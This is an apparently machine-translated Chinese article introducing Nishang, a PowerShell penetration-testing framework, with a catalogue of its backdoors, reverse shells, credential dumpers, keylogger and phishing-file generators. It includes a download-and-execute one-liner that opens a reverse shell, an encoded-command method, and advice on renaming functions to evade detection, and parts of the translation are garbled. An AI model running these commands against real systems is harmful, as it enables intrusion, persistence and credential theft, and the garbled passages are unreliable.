Nishang – 用于渗透测试和攻击性安全的PowerShell

华盟原创文章投稿奖励计划

Nishang - 用于渗透测试和攻击性安全的PowerShell

Nishang是脚本和有效负载的框架和集合,可以使用PowerShell进行攻击性安全,渗透测试和红色组合。
用法:导入当前PowerShell会话中的所有脚本(PowerShell v3以后):
PS C: nishang> Import-Module。 nishang.psm1
使用点源的单个脚本:
PS C: nnhang>。C:霓裳收集 GET-Information.ps1
PS C: nishang>获取信息
要获得有关任何脚本或函数的帮助,请使用:
PS C: nishang> Get-Help [scriptname] -full
请注意,帮助可用于运行脚本后加载的函数,而不是版本0.3.8以后的脚本本身。在所有情况下,函数名称与脚本名称相同。
例如,要查看有关Get-WLAN-Keys.ps1的帮助,请使用:
PS C: nnhang>。C:霓裳 GET-WLAN-Keys.ps1
PS C: nishang> Get-Help Get-WLAN-Keys -Full
目标上的脚本应该在内存中使用,这对PowerShell来说非常容易。
在内存中执行PowerShell脚本有两种基本方法:

  • 使用内存中下载并执行(方法1):

使用以下命令从远程shell,meterpreter本机shell,Web shell等以及由其导出的函数执行PowerShell脚本。Nishang中的所有脚本在当前PowerShell会话中导出具有相同名称的函数。
powershell iex(New-Object Net.WebClient).DownloadString('http:///Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo。]

  • 使用PowerShell的-encodedcommand(或-e)参数(方法2):

Nishang中的所有脚本在当前PowerShell会话中导出具有相同名称的函数。因此,请确保在使用非PowerShell shell的encodedcommand参数时,在脚本本身中进行函数调用。
对于上面的示例,添加函数调用(不带引号)“ Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo。] ”。
使用来自Nishang的Invoke-Encode对scrript进行编码:
PS C: nnhang>。霓裳工具调用,编码
PS C: nishang> Invoke-Encode -DataToEncode C: nishang Shells Invoke-PowerShellTcp.ps1-OutCommand
编码的数据写入。 encoded.txt
编码命令写入。 encodedcommand.txt

从上面,使用encodedcommand.txt中的编码脚本,并在可以执行命令的目标上运行它(远程shell,meterpreter本机shell,Web shell等)。使用方式如下:
C: Users target> powershell -e [encodedscript]
如果仍然检测到脚本,则更改功能和参数名称并删除帮助内容将有所帮助。

Nishang - 用于渗透测试和攻击性安全的PowerShell

脚本:
Nishang目前包含以下脚本和有效负载。

  • Get-Unconstrained:在活动目录中查找启用了Kerberos Unconstrained Delegation的计算机。

  • Antak - Webshel??l:  使用此webshel??l在内存中执行PowerShell脚本,运行命令以及下载和上载文件。

  • HTTP-Backdoor:  一个后门,可以从第三方网站接收指令并在内存中执行PowerShell脚本。

  • DNS_TXT_Pwnage:  一个后门程序,可以从DNS TXT查询接收命令和PowerShell脚本,在目标上执行它们,并使用查询进行远程控制。

  • Execute-OnTime:  一个后门,可以在目标上的给定时间执行PowerShell脚本。

  • Gupt-Backdoor:  一个后门,可以从WLAN SSID接收命令和脚本而无需连接它。

  • Add-ScrnSaveBackdoor:  一个可以使用Windows屏幕保护程序进行远程命令和脚本执行的后门程序。

  • Invoke-ADSBackdoor:  一个可以使用备用数据流和Windows注册表来实现持久性的后门程序。

  • Add-RegBackdoor:  一个后门程序,它使用众所周知的Debugger技巧来执行Sticky密钥和Utilman(Windows密钥 U)的有效负载。

  • Invoke-AmsiBypass:  实施公开的方法来绕过/避免AMSI。

  • Out-CHM:  创建可以执行PowerShell命令和脚本的受感染CHM文件。

  • Out-Word:  创建Word文件并感染现有文件以运行PowerShell命令和脚本。

  • Out-Excel:  创建Excel文件并感染现有文件以运行PowerShell命令和脚本。

  • Out-HTA:  创建一个HTA文件,该文件可以部署在Web服务器上并用于网络钓鱼活动。

  • Out-Java:  创建签名的JAR文件,可以与applet一起使用以执行脚本和命令。

  • Out-Shortcut:  创建能够执行PowerShell命令和脚本的快捷方式文件。

  • Out-WebQuery:  为网络钓鱼凭据和SMB哈希创建IQY文件。

  • Out-JS:  创建能够执行PowerShell命令和脚本的JS文件。

  • Out-SCT:  创建能够执行PowerShell命令和脚本的SCT文件。

  • Out-SCF:  创建一个可用于捕获NTLM哈希挑战的SCF文件。

  • Enable-DuplicateToken:  需要SYSTEM权限时。

  • 删除更新:通过删除修补程序来引入漏洞

  • Invoke-PsUACme:  绕过UAC。

  • Download-Execute-PS:  在内存中下载并执行PowerShell脚本。

  • Download_Execute:  以文本格式下载可执行文件,将其转换为可执行文件,然后执行。

  • Execute-Command-MSSQL:  在具有足够权限的MSSQL Server上运行PowerShell命令,本机命令或SQL命令。

  • Execute-DNSTXT-Code:  使用DNS TXT查询在内存中执行shellcode。

  • Out-RundllCommand:  使用rundll32.exe执行PowerShell命令和脚本或反向PowerShell会话。

  • Check-VM:  检查虚拟机。

  • Copy-VSS:  使用卷影复制服务复制SAM文件。

  • Invoke-CredentialsPhish:  欺骗用户以纯文本形式提供凭据。

  • FireBusterFireListener:一对用于出口测试的脚本。

  • 获取信息:  从目标获取丰富的信息。

  • Get-LSASecret:  从目标中获取LSA秘密。

  • Get-PassHashes:  从目标获取密码哈希值。

  • Get-WLAN-Keys:  从目标获取纯文本的WLAN密钥。

  • 键盘  记录记录目标的击键。

  • Invoke-MimikatzWdigestDowngrade:  在Windows 8.1和Server 2012上以普通方式转储用户密码。

  • Get-PassHints:  从目标获取Windows用户的密码提示。

  • Show-TargetScreen:  使用MJPEG连接回和Stream目标屏幕。

  • Invoke-Mimikatz:  在内存中加载mimikatz。更新并进行了一些自定义。

  • Invoke-Mimikittenz:  使用正则表达式从目标进程(如浏览器)内存中提取多汁信息。

  • Invoke-SSIDExfil:  使用WLAN SSID对用户凭据等信息进行初步验证。

  • Invoke-Interceptor:  MITM攻击的本地HTTPS代理。

  • Create-MultipleSessions:  检查多台计算机上的凭据并创建PSSession。

  • Run-EXEonRemote:  在多台计算机上复制并执行可执行文件。

  • Invoke-NetworkRelay:  在计算机之间创建网络中继。

  • Prasadhak:  针对VirusTotal数据库检查运行进程的运行哈希值。

  • 暴力:  强力FTP,Active Directory,MSSQL和Sharepoint。

  • 端口扫描:  方便的端口扫描器。

  • Powerpreter:nishang  在单个脚本模块中的所有功能。

  • Invoke-PsGcat:  将命令和脚本发送到由Invoke-PsGcatAgent执行的指定Gmail帐户。

  • Invoke-PsGcatAgent:  执行Invoke-PsGcat发送的命令和脚本。

  • Invoke-PowerShellTcp:  交互式PowerShell反向连接或绑定shell。

  • Invoke-PowerShellTcpOneLine:调整  版本的Invoke-PowerShellTcp。还包含一个可以放入两条推文的骨架版本。

  • Invoke-PowerShellUdp:  通过UDP进行交互式PowerShell反向连接或绑定shell。

  • Invoke-PowerShellUdpOneLine:调整  版本的Invoke-PowerShellUdp。

  • Invoke-PoshRatHttps:  通过HTTPS反向交互式PowerShell。

  • Invoke-PoshRatHttp:  通过HTTP反向交互式PowerShell。

  • Remove-PoshRat:  使用Invoke-PoshRatHttps后清理系统。

  • Invoke-PowerShellWmi:  使用WMI的交互式PowerShell。

  • Invoke-PowerShellIcmp:  ICMP上的交互式PowerShell反向shell。

  • Invoke-JSRatRundll:  使用rundll32.exe通过HTTP进行交互式PowerShell反向shell。

  • Invoke-JSRatRegsvr:  使用regsvr32.exe通过HTTP进行交互式PowerShell反向shell。

  • 添加 -  渗透将数据泄露功能添加到Gmail,Pastebin,Web服务器和DNS到任何脚本。

  • 添加持久性:  向脚本添加重新启动持久性功能。

  • Remove-Persistence:  Add-Persistence脚本添加的远程持久性。

  • Do-Exfiltration:  将此管道(|)传递给任何脚本以泄露输出。

  • 下载:  将文件传输到目标。

  • Parse_Keys:  由键盘记录器记录的解析密钥。

  • Invoke-Encode:  编码和压缩脚本或字符串。

  • Invoke-Decode:  从Invoke-Encode解码和解压缩脚本或字符串。

  • Start-CaptureServer:  运行记录基本身份验证和SMB哈希的Web服务器。

  • ConvertTo-ROT13:  将字符串编码为ROT13或解码ROT13字符串。

  • Out-DnsTxt:  生成可与其他脚本一起使用的DNS TXT记录。

华盟知识星球入口

下载地址:https://github.com/samratashok/nishang/releases

本文原创,作者:一叶知秋,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/233261.html

发表评论